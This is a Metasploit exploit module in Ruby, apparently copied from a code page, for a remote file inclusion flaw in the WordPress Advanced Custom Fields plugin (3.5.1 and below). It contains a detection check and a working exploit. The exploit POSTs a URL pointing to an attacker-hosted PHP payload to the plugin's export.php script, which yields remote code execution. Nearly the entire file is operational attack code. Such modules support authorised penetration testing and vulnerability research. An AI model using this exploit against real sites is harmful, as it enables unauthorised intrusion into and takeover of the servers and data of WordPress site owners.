|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98  |  ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer::PHPInclude  def initialize(info = {})  super(update_info(info,  'Name' => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',  'Description'=> %q{  This module exploits a remote file inclusion flaw in the WordPress blogging  software plugin known as Advanced Custom Fields. The vulnerability allows for remote  file inclusion and remote code execution via the export.php script. The Advanced  Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only  works when the php option allow_url_include is set to On (Default Off).  },  'Author' =>  [  'Charlie Eriksen <charlie@ceriksen.com>',  ],  'License'=> MSF_LICENSE,  'References' =>  [  ['OSVDB', '87353'],  ['URL', 'http://secunia.com/advisories/51037/'],  ],  'Privileged' => false,  'Payload'=>  {  'DisableNops' => true,  'Compat'=>  {  'ConnectionType' => 'find',  },  },  'Platform' => 'php',  'Arch' => ARCH_PHP,  'Targets'=> [[ 'Automatic', { }]],  'DisclosureDate' => 'Nov 14 2012',  'DefaultTarget'=> 0))  register_options(  [  OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),  OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),  ], self.class)  end  def check  uri = target_uri.path  uri << '/' if uri[-1,1] != '/'  uri << datastore['PLUGINSPATH']  uri << '/' if uri[-1,1] != '/'  res = send_request_cgi({  'method' => 'POST',  'uri'=> "#{uri}advanced-custom-fields/core/api.php"  })  if res and res.code == 200  return Exploit::CheckCode::Detected  else  return Exploit::CheckCode::Safe  end  end  def php_exploit  uri = target_uri.path  uri << '/' if uri[-1,1] != '/'  uri << datastore['PLUGINSPATH']  uri << '/' if uri[-1,1] != '/'  print_status('Sending request')  res = send_request_cgi({  'method' => 'POST',  'uri'=> "#{uri}advanced-custom-fields/core/actions/export.php",  'data' => "acf_abspath=#{php_include_url}"  })  if res and res.body =~ /allow_url_include/  fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')  elsif res.code != 200  fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")  end  end end  |